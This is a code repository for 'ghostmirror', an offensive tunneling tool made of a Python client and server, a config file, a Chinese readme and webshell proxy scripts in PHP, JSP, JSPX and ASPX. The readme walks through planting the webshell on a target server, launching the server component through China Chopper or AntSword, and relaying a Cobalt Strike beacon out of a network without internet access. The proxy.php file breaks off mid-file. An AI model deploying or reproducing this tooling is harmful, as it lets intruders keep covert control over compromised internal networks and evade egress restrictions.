├── config.ini ├── config.py ├── mirror_client.py ├── mirror_server.py ├── readme.md └── webshell ├── proxy.aspx ├── proxy.jsp ├── proxy.jspx └── proxy.php /config.ini: -------------------------------------------------------------------------------- 1 | [NET-CONFIG] 2 | WEBSHELL = http://192.168.3.10:82/proxy.php 3 | SERVER_LISTEN = 127.0.0.1:8000 4 | LOCAL_LISTEN = 127.0.0.1:4445 5 | 6 | [TOOL-CONFIG] 7 | LOG_LEVEL = INFO 8 | READ_BUFF_SIZE = 10240 9 | SLEEP_TIME = 0.01 10 | SOCKET_TIMEOUT = 0.1 11 | 12 | [ADVANCED-CONFIG] 13 | REMOVE_SERVER = http://192.168.3.1:8000 14 | TARGET_LISTEN = 192.168.3.10:3389 15 | NO_LOG = True -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : config.py 3 | # @Date : 2019/8/28 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | import base64 9 | import logging 10 | import logging.config 11 | 12 | # 错误码 13 | DATA = "DATA" 14 | WRONG_DATA = b"WRONG DATA" # 错误格式的数据 15 | INVALID_CONN = b"REMOVE CONN" # 无效的连接 16 | 17 | 18 | # data = strings.Replace(strings.Replace(data, "\r\n", "", -1), "\n", "", -1) 19 | def get_logger(level="INFO", name="StreamLogger"): 20 | logconfig = { 21 | 'version': 1, 22 | 'formatters': { 23 | 'simple': { 24 | 'format': '%(asctime)s - %(levelname)s - %(lineno)s - %(message)s', 25 | }, 26 | }, 27 | 'handlers': { 28 | 'console': { 29 | 'class': 'logging.StreamHandler', 30 | 'level': 'DEBUG', 31 | 'formatter': 'simple' 32 | }, 33 | 'file': { 34 | 'class': 'logging.FileHandler', 35 | 'filename': 'logging.log', 36 | 'level': 'DEBUG', 37 | 'formatter': 'simple' 38 | }, 39 | }, 40 | 'loggers': { 41 | 'StreamLogger': { 42 | 'handlers': ['console'], 43 | 'level': level, 44 | }, 45 | 'FileLogger': { 46 | 'handlers': ['file'], 47 | 'level': level, 48 | }, 49 | } 50 | } 51 | 52 | logging.config.dictConfig(logconfig) 53 | logger = logging.getLogger(name) 54 | 55 | return logger 56 | 57 | 58 | def b64decodeX(data): 59 | if isinstance(data, str): 60 | new_data = data.replace("\r\n", "") 61 | new_data = new_data.replace("\n", "") 62 | new_data = new_data.replace("-A", "+") 63 | new_data = new_data.replace("-S", "/") 64 | return base64.b64decode(new_data) 65 | elif isinstance(data, bytes): 66 | new_data = data.replace(b"\r\n", b"") 67 | new_data = new_data.replace(b"\n", b"") 68 | new_data = new_data.replace(b"-A", b"+") 69 | new_data = new_data.replace(b"-S", b"/") 70 | return base64.b64decode(new_data) 71 | else: 72 | print(data) 73 | return base64.b64decode(data) 74 | 75 | 76 | def b64encodeX(data): 77 | new_data = base64.b64encode(data) 78 | if isinstance(new_data, str): 79 | new_data = new_data.replace("+", "-A") 80 | new_data = new_data.replace("/", "-S") 81 | return new_data 82 | elif isinstance(new_data, bytes): 83 | new_data = new_data.replace(b"+", b"-A") 84 | new_data = new_data.replace(b"/", b"-S") 85 | return new_data 86 | else: 87 | print(new_data) 88 | return new_data 89 | -------------------------------------------------------------------------------- /mirror_client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : client.py 3 | # @Date : 2019/8/28 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | import json 9 | import os 10 | import socket 11 | import sys 12 | import time 13 | from socket import AF_INET, SOCK_STREAM 14 | 15 | try: 16 | import configparser as conp 17 | except Exception as E: 18 | import ConfigParser as conp 19 | 20 | from config import * 21 | 22 | global LOG_LEVEL, SLEEP_TIME, READ_BUFF_SIZE, WEBSHELL, REMOVE_SERVER, TARGET_LISTEN, SOCKET_TIMEOUT 23 | import requests 24 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 25 | 26 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 27 | 28 | 29 | class Client(object): 30 | def __init__(self): 31 | self.cache_data = {} 32 | self.die_client_address = [] 33 | 34 | def check_server(self): 35 | payload = { 36 | "Remoteserver": REMOVE_SERVER, 37 | "Endpoint": "/check/", 38 | 39 | } 40 | for i in range(10): 41 | try: 42 | r = requests.post(WEBSHELL, data=payload, timeout=3, verify=False) 43 | web_return_data = json.loads(b64decodeX(r.content).decode("utf-8")) 44 | except Exception as E: 45 | logger.error(r.content) 46 | logger.warning("Try to connet to server, count {}".format(i)) 47 | time.sleep(1) 48 | continue 49 | logger.info(" ------------Server Config------------") 50 | logger.info( 51 | "\nLOG_LEVEL: {}\nREAD_BUFF_SIZE: {}\nSERVER_LISTEN: {}\nLOCAL_LISTEN: {}\nSOCKET_TIMEOUT: {}\n".format( 52 | web_return_data.get("LOG_LEVEL"), web_return_data.get("READ_BUFF_SIZE"), 53 | web_return_data.get("SERVER_LISTEN"), web_return_data.get("LOCAL_LISTEN"), 54 | web_return_data.get("SOCKET_TIMEOUT") 55 | )) 56 | 57 | logger.info("Connet to server success") 58 | return True 59 | 60 | logger.warning("Connet to server failed,please check server and webshell") 61 | return False 62 | 63 | def update_conns(self): 64 | payload = { 65 | "Remoteserver": REMOVE_SERVER, 66 | "Endpoint": "/conn/", 67 | "DATA": None 68 | } 69 | logger.debug("cache_data : {}".format(len(self.cache_data))) 70 | logger.debug("die_client_address : {}".format(len(self.die_client_address))) 71 | 72 | # 发送client已经die的连接 73 | try: 74 | payload["DATA"] = b64encodeX(json.dumps(self.die_client_address).encode("utf-8")) 75 | self.die_client_address = [] 76 | except Exception as E: 77 | logger.exception(E) 78 | return 79 | 80 | try: 81 | r = requests.post(WEBSHELL, data=payload, verify=False) 82 | web_return_data = json.loads(b64decodeX(r.content).decode("utf-8")) 83 | except Exception as E: 84 | logger.warning("Get server exist socket failed") 85 | web_return_data = None 86 | return 87 | 88 | # 删除不在server端存在的client端连接 89 | for client_address in list(self.cache_data.keys()): 90 | if client_address not in web_return_data: 91 | logger.warning("CLIENT_ADDRESS:{} Not in server socket list, remove".format(client_address)) 92 | client = self.cache_data.get(client_address).get("conn") 93 | try: 94 | client.close() 95 | self.cache_data.pop(client_address) 96 | except Exception as E: 97 | logger.exception(E) 98 | 99 | # 新建server端新增的连接 100 | for client_address in web_return_data: 101 | if self.cache_data.get(client_address) is None: 102 | # 新建对应的连接 103 | client = socket.socket(AF_INET, SOCK_STREAM) 104 | client.settimeout(SOCKET_TIMEOUT) 105 | client.connect((TARGET_LISTEN.split(":")[0], int(TARGET_LISTEN.split(":")[1]))) 106 | logger.warning("CLIENT_ADDRESS:{} Create new tcp socket".format(client_address)) 107 | self.cache_data[client_address] = {"conn": client, "post_send_cache": b""} 108 | 109 | def sync_data(self): 110 | payload = { 111 | "Remoteserver": REMOVE_SERVER, 112 | "Endpoint": "/sync/", 113 | "DATA": None, 114 | "Client_address": None 115 | } 116 | 117 | for client_address in list(self.cache_data.keys()): 118 | client = self.cache_data.get(client_address).get("conn") 119 | try: 120 | tcp_recv_data = client.recv(READ_BUFF_SIZE) 121 | logger.debug("CLIENT_ADDRESS:{} TCP_RECV_DATA:{}".format(client_address, tcp_recv_data)) 122 | if len(tcp_recv_data) > 0: 123 | logger.info("CLIENT_ADDRESS:{} TCP_RECV_LEN:{}".format(client_address, len(tcp_recv_data))) 124 | except Exception as err: 125 | tcp_recv_data = b"" 126 | logger.debug("TCP_RECV_NONE") 127 | 128 | # 获取缓存数据+新读取的数据 129 | post_send_cache = self.cache_data.get(client_address).get("post_send_cache") 130 | post_send_cache = post_send_cache + tcp_recv_data 131 | 132 | # 填充数据 133 | payload["DATA"] = b64encodeX(post_send_cache) 134 | payload["Client_address"] = client_address 135 | 136 | try: 137 | r = requests.post(WEBSHELL, data=payload, verify=False) 138 | except Exception as E: 139 | logger.warning("Post data to webshell failed") 140 | continue 141 | 142 | try: 143 | web_return_data = b64decodeX(r.content) 144 | except Exception as E: 145 | # webshell 脚本没有正确请求到服务器数据或脚本本身报错 146 | logger.warning("Webshell return error data") 147 | logger.warning(r.content) 148 | continue 149 | 150 | if web_return_data == WRONG_DATA: 151 | logger.error("CLIENT_ADDRESS:{} Wrong b64encode data".format(client_address)) 152 | logger.error(b64encodeX(post_send_cache)) 153 | continue 154 | elif web_return_data == INVALID_CONN: # 无效的tcp连接 155 | logger.warning("CLIENT_ADDRESS:{} invalid conn".format(client_address)) 156 | try: 157 | client.close() 158 | self.cache_data.pop(client_address) 159 | except Exception as E: 160 | logger.exception(E) 161 | continue 162 | 163 | logger.debug("CLIENT_ADDRESS:{} TCP_SEND_DATA:{}".format(client_address, web_return_data)) 164 | if len(web_return_data) > 0: 165 | logger.info("CLIENT_ADDRESS:{} TCP_SEND_DATA:{}".format(client_address, len(web_return_data))) 166 | try: 167 | client.send(web_return_data) 168 | except Exception as E: 169 | logger.warning("CLIENT_ADDRESS:{} Client socket closed".format(client_address)) 170 | self.die_client_address.append(client_address) 171 | client.close() 172 | finally: 173 | self.cache_data[client_address]["post_send_cache"] = b"" 174 | 175 | def run(self): 176 | while True: 177 | self.update_conns() 178 | self.sync_data() 179 | time.sleep(SLEEP_TIME) 180 | 181 | 182 | if __name__ == '__main__': 183 | 184 | try: 185 | configpath = sys.argv[1] 186 | except Exception as E: 187 | configpath = "config.ini" 188 | 189 | 190 | if os.path.exists(configpath) is not True: 191 | print("Please copy config.ini into same folder!") 192 | sys.exit(1) 193 | configini = conp.ConfigParser() 194 | configini.read(configpath) 195 | 196 | try: 197 | LOG_LEVEL = configini.get("TOOL-CONFIG", "LOG_LEVEL") 198 | except Exception as E: 199 | LOG_LEVEL = "INFO" 200 | logger = get_logger(level=LOG_LEVEL, name="StreamLogger") 201 | 202 | try: 203 | READ_BUFF_SIZE = int(configini.get("TOOL-CONFIG", "READ_BUFF_SIZE")) 204 | except Exception as E: 205 | logger.exception(E) 206 | READ_BUFF_SIZE = 10240 207 | 208 | try: 209 | SLEEP_TIME = float(configini.get("TOOL-CONFIG", "SLEEP_TIME")) 210 | if SLEEP_TIME <= 0: 211 | SLEEP_TIME = 0.1 212 | except Exception as E: 213 | logger.exception(E) 214 | SLEEP_TIME = 0.1 215 | 216 | # socket_timeout 217 | try: 218 | SOCKET_TIMEOUT = float(configini.get("TOOL-CONFIG", "SOCKET_TIMEOUT")) 219 | except Exception as E: 220 | SOCKET_TIMEOUT = 0.1 221 | # 获取核心参数 222 | try: 223 | WEBSHELL = configini.get("NET-CONFIG", "WEBSHELL") 224 | REMOVE_SERVER = "http://{}".format(configini.get("NET-CONFIG", "SERVER_LISTEN")) 225 | TARGET_LISTEN = configini.get("NET-CONFIG", "LOCAL_LISTEN") 226 | except Exception as E: 227 | logger.exception(E) 228 | sys.exit(1) 229 | 230 | try: 231 | REMOVE_SERVER = configini.get("ADVANCED-CONFIG", "REMOVE_SERVER") 232 | TARGET_LISTEN = configini.get("ADVANCED-CONFIG", "TARGET_LISTEN") 233 | except Exception as E: 234 | logger.debug(E) 235 | logger.info(" ------------Client Config------------") 236 | logger.info( 237 | "\nLOG_LEVEL: {}\nSLEEP_TIME:{}\nREAD_BUFF_SIZE: {}\nWEBSHELL: {}\nREMOVE_SERVER: {}\nTARGET_LISTEN: {}\n".format( 238 | LOG_LEVEL, SLEEP_TIME, READ_BUFF_SIZE, WEBSHELL, REMOVE_SERVER, TARGET_LISTEN 239 | )) 240 | 241 | client = Client() 242 | if client.check_server(): 243 | client.run() 244 | -------------------------------------------------------------------------------- /mirror_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : server.py 3 | # @Date : 2019/8/28 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | import json 9 | import os 10 | import sys 11 | import time 12 | 13 | try: 14 | from socketserver import BaseRequestHandler 15 | from socketserver import ThreadingTCPServer 16 | import configparser as conp 17 | except Exception as E: 18 | from SocketServer import BaseRequestHandler 19 | from SocketServer import ThreadingTCPServer 20 | import ConfigParser as conp 21 | from threading import Thread 22 | from bottle import request 23 | from bottle import route 24 | from bottle import run as bottle_run 25 | 26 | from config import * 27 | 28 | cache_data = {} 29 | 30 | global READ_BUFF_SIZE, LOG_LEVEL, SERVER_LISTEN, LOCAL_LISTEN, SOCKET_TIMEOUT 31 | 32 | 33 | class Servers(BaseRequestHandler): 34 | def handle(self): 35 | logger.warning('Got connection from {}'.format(self.client_address)) 36 | self.request.settimeout(SOCKET_TIMEOUT) 37 | key = "{}:{}".format(self.client_address[0], self.client_address[1]) 38 | cache_data[key] = {"conn": self.request} 39 | while True: 40 | time.sleep(3) # 维持tcp连接 41 | 42 | 43 | class WebThread(Thread): # 继承父类threading.Thread 44 | def __init__(self, ): 45 | Thread.__init__(self) 46 | 47 | def run(self): 48 | logger.warning("Webserver start") 49 | bottle_run(host=SERVER_LISTEN.split(":")[0], port=int(SERVER_LISTEN.split(":")[1]), quiet=True) 50 | logger.warning("Webserver exit") 51 | 52 | @staticmethod 53 | @route('/check/', method='POST') 54 | def check(): 55 | """自检函数""" 56 | logger.debug("cache_data : {}".format(len(cache_data))) 57 | # 返回现有连接 58 | key_list = [] 59 | for key in cache_data: 60 | key_list.append(key) 61 | data = { 62 | "client_address_list": key_list, 63 | "LOG_LEVEL": LOG_LEVEL, 64 | "READ_BUFF_SIZE": READ_BUFF_SIZE, 65 | "SERVER_LISTEN": SERVER_LISTEN, 66 | "LOCAL_LISTEN": LOCAL_LISTEN, 67 | "SOCKET_TIMEOUT": SOCKET_TIMEOUT, 68 | } 69 | return b64encodeX(json.dumps(data).encode("utf-8")) 70 | 71 | @staticmethod 72 | @route('/conn/', method='POST') 73 | def conn(): 74 | """返回所有连接""" 75 | logger.debug("cache_data : {}".format(len(cache_data))) 76 | # 清除已经关闭的连接 77 | die_client_address = json.loads(b64decodeX(request.forms.get("DATA")).decode("utf-8")) 78 | for client_address in die_client_address: 79 | one = cache_data.get(client_address) 80 | if one is not None: 81 | try: 82 | conn = one.get("conn") 83 | conn.close() 84 | del cache_data[client_address] 85 | except Exception as E: 86 | logger.error(E) 87 | # 返回现有连接 88 | key_list = [] 89 | for key in cache_data: 90 | key_list.append(key) 91 | return b64encodeX(json.dumps(key_list).encode("utf-8")) 92 | 93 | @staticmethod 94 | @route('/sync/', method='POST') 95 | def sync(): 96 | client_address = request.forms.get("Client_address") 97 | try: 98 | conn = cache_data.get(client_address).get("conn") 99 | except Exception as E: 100 | logger.exception(E) 101 | tcp_recv_data = INVALID_CONN 102 | return b64encodeX(tcp_recv_data) 103 | try: 104 | post_get_data = b64decodeX(request.forms.get("DATA")) 105 | logger.debug("CLIENT_ADDRESS:{} POST_GET_DATA:{}".format(client_address, post_get_data)) 106 | if len(post_get_data) > 0: 107 | logger.info("CLIENT_ADDRESS:{} POST_GET_LEN:{}".format(client_address, len(post_get_data))) 108 | except Exception as E: 109 | logger.exception(E) 110 | logger.error(request.forms.get("DATA")) 111 | tcp_recv_data = WRONG_DATA 112 | return b64encodeX(tcp_recv_data) 113 | 114 | send_flag = False 115 | for i in range(20): 116 | # 发送数据 117 | try: 118 | conn.sendall(post_get_data) 119 | if len(post_get_data) > 0: 120 | logger.info("CLIENT_ADDRESS:{} TCP_SEND_LEN:{}".format(client_address, len(post_get_data))) 121 | send_flag = True 122 | break 123 | except Exception as E: # socket 已失效 124 | logger.debug("CLIENT_ADDRESS:{} Client send failed".format(client_address)) 125 | 126 | if send_flag is not True: 127 | logger.warning("CLIENT_ADDRESS:{} Client send failed".format(client_address)) 128 | tcp_recv_data = INVALID_CONN 129 | try: 130 | conn.close() 131 | cache_data.pop(client_address) 132 | except Exception as E: 133 | logger.exception(E) 134 | return b64encodeX(tcp_recv_data) 135 | 136 | tcp_recv_data = b"" 137 | for i in range(5): 138 | # 读取数据 139 | try: 140 | tcp_recv_data = conn.recv(READ_BUFF_SIZE) 141 | logger.debug("CLIENT_ADDRESS:{} TCP_RECV_DATA:{}".format(client_address, tcp_recv_data)) 142 | if len(tcp_recv_data) > 0: 143 | logger.info("CLIENT_ADDRESS:{} TCP_RECV_LEN:{}".format(client_address, len(tcp_recv_data))) 144 | break 145 | except Exception as err: 146 | pass 147 | 148 | logger.debug("CLIENT_ADDRESS:{} POST_RETURN_DATA:{}".format(client_address, tcp_recv_data)) 149 | if len(tcp_recv_data) > 0: 150 | logger.info("CLIENT_ADDRESS:{} POST_RETURN_LEN:{}".format(client_address, len(tcp_recv_data))) 151 | return b64encodeX(tcp_recv_data) 152 | 153 | 154 | if __name__ == '__main__': 155 | try: 156 | configpath = sys.argv[1] 157 | except Exception as E: 158 | configpath = "config.ini" 159 | 160 | if os.path.exists(configpath) is not True: 161 | print("Please copy config.ini into same folder!") 162 | sys.exit(1) 163 | configini = conp.ConfigParser() 164 | configini.read(configpath) 165 | # 设置日志级别 166 | try: 167 | LOG_LEVEL = configini.get("TOOL-CONFIG", "LOG_LEVEL") 168 | except Exception as E: 169 | LOG_LEVEL = "INFO" 170 | try: 171 | no_log_flag = configini.get("ADVANCED-CONFIG", "NO_LOG") 172 | if no_log_flag.lower() == "true": 173 | logger = get_logger(level=LOG_LEVEL, name="StreamLogger") 174 | else: 175 | logger = get_logger(level=LOG_LEVEL, name="FileLogger") 176 | except Exception as E: 177 | logger = get_logger(level=LOG_LEVEL, name="FileLogger") 178 | 179 | # READ_BUFF_SIZE 180 | try: 181 | READ_BUFF_SIZE = int(configini.get("TOOL-CONFIG", "READ_BUFF_SIZE")) 182 | except Exception as E: 183 | logger.exception(E) 184 | READ_BUFF_SIZE = 10240 185 | 186 | # socket_timeout 187 | try: 188 | SOCKET_TIMEOUT = float(configini.get("TOOL-CONFIG", "SOCKET_TIMEOUT")) 189 | except Exception as E: 190 | SOCKET_TIMEOUT = 0.1 191 | 192 | # 获取核心参数 193 | try: 194 | SERVER_LISTEN = configini.get("NET-CONFIG", "SERVER_LISTEN") 195 | LOCAL_LISTEN = configini.get("NET-CONFIG", "LOCAL_LISTEN") 196 | except Exception as E: 197 | logger.exception(E) 198 | sys.exit(1) 199 | 200 | logger.info( 201 | "\nLOG_LEVEL: {}\nREAD_BUFF_SIZE: {}\nSERVER_LISTEN: {}\nLOCAL_LISTEN: {}\n".format( 202 | LOG_LEVEL, READ_BUFF_SIZE, SERVER_LISTEN, LOCAL_LISTEN 203 | )) 204 | 205 | try: 206 | webthread = WebThread() 207 | webthread.start() 208 | server = ThreadingTCPServer((LOCAL_LISTEN.split(":")[0], int(LOCAL_LISTEN.split(":")[1])), Servers) 209 | logger.warning("Tcpserver start") 210 | server.serve_forever() 211 | logger.warning("Tcpserver exit") 212 | except Exception as E: 213 | logger.exception(E) 214 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # 鬼镜(ghostmirror) 2 | 鬼镜(ghostmirror)是一个通过webshell实现的**内网穿透工具**.工具主体使用python开发,当前支持php,jsp,aspx三种代理脚本. 3 | # 使用方法 4 | ## cobaltstrike不出网服务器上线 5 | * proxy.php上传到目标服务器,确保 [http://www.test.com/proxy.php](http://192.168.1.106:81/proxy.php)可以访问,页面返回 stinger XXX! 6 | * 修改config.ini,示例如下(确保服务器127.0.0.1:8000和127.0.0.1:4444可以正常绑定) 7 | ``` 8 | [NET-CONFIG] 9 | WEBSHELL = http://www.test.com/proxy.php 10 | SERVER_LISTEN = 127.0.0.1:8000 11 | LOCAL_LISTEN = 127.0.0.1:4444 12 | 13 | [TOOL-CONFIG] 14 | LOG_LEVEL = INFO 15 | READ_BUFF_SIZE = 10240 16 | SLEEP_TIME = 0.01 17 | ``` 18 | * 将mirror_server.exe和config.ini上传到目标服务器同一目录,菜刀(蚁剑)执行mirror_server.exe启动服务端 19 | * 将mirror_client和config.ini上传到CS的teamserver服务器,执行./mirror_client启动客户端,出现如下输出表示成功 20 | ``` 21 | root@kali:~# ./mirror_client  22 | 2019-08-30 01:42:46,311 - INFO - 220 -  ------------Client Config------------ 23 | 2019-08-30 01:42:46,311 - INFO - 223 -  24 | LOG_LEVEL: INFO 25 | SLEEP_TIME:0.01 26 | READ_BUFF_SIZE: 10240 27 | WEBSHELL: http://www.test.com/proxy.php 28 | REMOVE_SERVER: http://127.0.0.1:8000 29 | TARGET_LISTEN: 127.0.0.1:4444 30 | 2019-08-30 01:42:46,320 - INFO - 45 -  ------------Server Config------------ 31 | 2019-08-30 01:42:46,320 - INFO - 49 -  32 | LOG_LEVEL: INFO 33 | READ_BUFF_SIZE: 10240 34 | SERVER_LISTEN: 127.0.0.1:8000 35 | LOCAL_LISTEN: 127.0.0.1:4444 36 | 2019-08-30 01:42:46,320 - INFO - 52 - Connet to server success 37 | ``` 38 | * cobaltstrike启动监听,host 127.0.0.1 port 4444 beacons 127.0.0.1 39 | 40 | ![图片](https://uploader.shimo.im/f/uXFSgVE6WFsyksDn.png!thumbnail) 41 | * 使用菜刀(蚁剑)执行在目标机执行该listener的payload,客户端出现如下日志表示正在传输stager,稍后session即可上线 42 | ``` 43 | 2019-08-30 01:47:43,663 - INFO - 52 - Connet to server success 44 | 2019-08-30 01:49:46,430 - WARNING - 101 - CLIENT_ADDRESS:127.0.0.1:60487 Create new tcp socket 45 | 2019-08-30 01:49:46,538 - INFO - 160 - CLIENT_ADDRESS:127.0.0.1:60487 TCP_SEND_DATA:201 46 | 2019-08-30 01:49:46,554 - INFO - 118 - CLIENT_ADDRESS:127.0.0.1:60487 47 | ................. 48 | ................ 49 | 2019-08-30 01:49:46,929 - INFO - 118 - CLIENT_ADDRESS:127.0.0.1:60487 TCP_RECV_LEN:10240 50 | 51 | 2019-08-30 01:49:49,819 - WARNING - 164 - CLIENT_ADDRESS:127.0.0.1:60487 Client socket closed 52 | 2019-08-30 01:49:49,834 - WARNING - 86 - CLIENT_ADDRESS:127.0.0.1:60487 Not in server socket list, remove 53 | 2019-08-30 01:49:49,849 - WARNING - 101 - CLIENT_ADDRESS:127.0.0.1:60545 Create new tcp socket 54 | 2019-08-30 01:49:49,956 - INFO - 160 - CLIENT_ADDRESS:127.0.0.1:60545 TCP_SEND_DATA:381 55 | 2019-08-30 01:49:49,971 - INFO - 118 - CLIENT_ADDRESS:127.0.0.1:60545 TCP_RECV_LEN:116 56 | ``` 57 | * let`s rock the party 58 | 59 | ![图片](https://uploader.shimo.im/f/dpQVqNdiyKkH9WNs.png!thumbnail) 60 | ## meterpreter_reverse_tcp不出网服务器上线 61 | 推荐使用毒刺(stinger)+meterpreter_bind_tcp上线  62 | # 相关工具 63 | 暂时没有公开工具实现此功能 64 | # 已测试 65 | ## mirror_server.exe 66 | * windows server 2012 67 | ## mirror_client 68 | * kali 69 | ## proxy.jsp(x)/php/aspx 70 | * php7.2 71 | * tomcat7.0 72 | * iis8.0 73 | # 其他参数 74 | ``` 75 | [TOOL-CONFIG] 76 | LOG_LEVEL = INFO //日志级别,DEBUG,INFO,WARN,ERROR 77 | READ_BUFF_SIZE = 10240 //TCP读取BUFF(不建议大于10240) 78 | SLEEP_TIME = 0.01 //client每次循环的间隔(秒),该值越大请求webshell次数越少,但传输越也慢 79 | [ADVANCED-CONFIG] 80 | REMOVE_SERVER = http://127.0.0.1:8000 // 用于多级内网穿透(不使用时请勿填写) 81 | TARGET_LISTEN = 192.168.3.100:22// 用于多级内网穿透(不使用时请勿填写) 82 | NO_LOG = True //不打印日志 83 | ``` 84 | 85 | # 更新日志 86 | **1.0** 87 | 更新时间: 2019-08-30 88 | * 1.0正式版发布 89 | 90 | **1.1** 91 | 更新时间: 2019-09-29 92 | * 更新php脚本,速度更快 93 | * 增加jspx脚本适配 94 | 95 | -------------------------------------------------------------------------------- /webshell/proxy.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="C#" Debug="true"%> 2 | 3 | <%@ Import Namespace="System.IO" %> 4 | <%@ Import Namespace="System.Net" %> 5 | <% 6 | if (Request.HttpMethod == "GET") 7 | { 8 | Response.Write("stinger aspx!"); 9 | return; 10 | } 11 | else 12 | { 13 | string Remoteserver = Request.Form["Remoteserver"]; 14 | string Endpoint = Request.Form["Endpoint"]; 15 | string url = Remoteserver + Endpoint; 16 | 17 | System.IO.Stream s = Request.InputStream; 18 | int cont = Request.ContentLength; 19 | byte[] buffer = new byte[cont]; 20 | s.Read(buffer, 0, cont); 21 | 22 | String post_arg = Encoding.UTF8.GetString(buffer, 0, cont); 23 | 24 | 25 | HttpWebRequest newrequest = (HttpWebRequest)WebRequest.Create(url+"?"+post_arg); 26 | newrequest.Method = "POST"; 27 | //buffer = System.Text.Encoding.Default.GetBytes("test=testestrsetestset"); 28 | if (buffer.Length >= 0) 29 | { 30 | System.IO.Stream requestStream = null; 31 | requestStream = newrequest.GetRequestStream(); 32 | requestStream.Write(buffer, 0, buffer.Length); 33 | requestStream.Close(); 34 | } 35 | string backMsg = ""; 36 | WebResponse newresponse = newrequest.GetResponse(); 37 | using (StreamReader reader = new StreamReader(newresponse.GetResponseStream())) 38 | { 39 | backMsg = reader.ReadToEnd(); 40 | Response.Write(backMsg); 41 | } 42 | } 43 | 44 | %> -------------------------------------------------------------------------------- /webshell/proxy.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" import="java.net.*,java.util.*,java.io.*,java.net.*" contentType="text/html; charset=utf-8" %> 2 | <%! 3 | public static class HttpRequest { 4 | public static String sendPost(String url, byte[] param) { 5 | 6 | BufferedReader in = null; 7 | OutputStream ou = null; 8 | String result = ""; 9 | try { 10 | URL realUrl = new URL(url); 11 | 12 | URLConnection conn = realUrl.openConnection(); 13 | 14 | //conn.setRequestProperty("accept", "*/*"); 15 | conn.setRequestProperty("Connection", "keep-alive"); 16 | conn.setDoOutput(true); 17 | conn.setDoInput(true); 18 | 19 | ou = conn.getOutputStream(); 20 | ou.write(param); 21 | ou.flush(); 22 | in = new BufferedReader( 23 | new InputStreamReader(conn.getInputStream())); 24 | String line; 25 | while ((line = in.readLine()) != null) { 26 | result += line; 27 | } 28 | } catch (Exception e) { 29 | System.out.println("error to send post!" + e); 30 | return e.toString(); 31 | } finally { 32 | try { 33 | if (ou != null) { 34 | ou.close(); 35 | } 36 | if (in != null) { 37 | in.close(); 38 | } 39 | } catch (IOException ex) { 40 | return ex.toString(); 41 | } 42 | } 43 | return result; 44 | } 45 | } 46 | %> 47 | <% 48 | String method = request.getMethod(); 49 | if (method == "GET") { 50 | out.print("stinger jsp!"); 51 | return; 52 | } else if (method == "POST") { 53 | String Endpoint = request.getParameter("Endpoint"); 54 | String Remoteserver = request.getParameter("Remoteserver"); 55 | String url = Remoteserver + Endpoint; 56 | String post_arg = ""; 57 | String returnString=""; 58 | Enumeration enu = request.getParameterNames(); 59 | while (enu.hasMoreElements()) { 60 | String paraName = (String) enu.nextElement(); 61 | post_arg = post_arg+paraName+"="+request.getParameter(URLEncoder.encode(paraName,"UTF-8"))+"&"; 62 | 63 | } 64 | returnString = HttpRequest.sendPost(url, post_arg.getBytes()); 65 | out.print(returnString); 66 | } 67 | %> 68 | -------------------------------------------------------------------------------- /webshell/proxy.jspx: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | final class HttpRequest { 11 | public String sendPost(String url, byte[] param) { 12 | 13 | BufferedReader in = null; 14 | OutputStream ou = null; 15 | String result = ""; 16 | try { 17 | URL realUrl = new URL(url); 18 | 19 | URLConnection conn = realUrl.openConnection(); 20 | 21 | //conn.setRequestProperty("accept", "*/*"); 22 | conn.setRequestProperty("Connection", "keep-alive"); 23 | conn.setDoOutput(true); 24 | conn.setDoInput(true); 25 | 26 | ou = conn.getOutputStream(); 27 | ou.write(param); 28 | ou.flush(); 29 | in = new BufferedReader( 30 | new InputStreamReader(conn.getInputStream())); 31 | String line; 32 | while ((line = in.readLine()) != null) { 33 | result += line; 34 | } 35 | } catch (Exception e) { 36 | System.out.println("error to send post!" + e); 37 | return e.toString(); 38 | } finally { 39 | try { 40 | if (ou != null) { 41 | ou.close(); 42 | } 43 | if (in != null) { 44 | in.close(); 45 | } 46 | } catch (IOException ex) { 47 | return ex.toString(); 48 | } 49 | } 50 | return result; 51 | } 52 | } 53 | 54 | 55 | String method = request.getMethod(); 56 | if (method == "GET") { 57 | out.print("stinger jsp!"); 58 | return; 59 | } else if (method == "POST") { 60 | String Endpoint = request.getParameter("Endpoint"); 61 | String Remoteserver = request.getParameter("Remoteserver"); 62 | String url = Remoteserver + Endpoint; 63 | String post_arg = ""; 64 | String returnString=""; 65 | Enumeration enu = request.getParameterNames(); 66 | while (enu.hasMoreElements()) { 67 | String paraName = (String) enu.nextElement(); 68 | post_arg = post_arg+paraName+"="+request.getParameter(URLEncoder.encode(paraName,"UTF-8"))+"&"; 69 | } 70 | HttpRequest tmp = new HttpRequest(); 71 | returnString = tmp.sendPost(url, post_arg.getBytes()); 72 | out.print(returnString); 73 | } 74 | 75 | -------------------------------------------------------------------------------- /webshell/proxy.php: -------------------------------------------------------------------------------- 1 | 'error', 44 | 'error' => "$errstr ($errno)" 45 | ); 46 | } 47 | // close the socket connection: 48 | fclose($fp); 49 | // split the result header from the content 50 | $result = explode("\r\n\r\n", $result, 2); 51 | print_r(isset ($result [1]) ? $result [1] : ''); 52 | } 53 | function post($url, $data) 54 | { 55 | 56 | //$postdata = http_build_query($data); 57 | $opts = array('http' => 58 | array( 59 | 'method' => 'POST', 60 | 'header' => 'Content-type: application/x-www-form-urlencoded', 61 | 'content' => $data 62 | ) 63 | ); 64 | $context = stream_context_create($opts); 65 | $result = file_get_contents($url, false, $context); 66 | print_r($result); 67 | } 68 | 69 | if 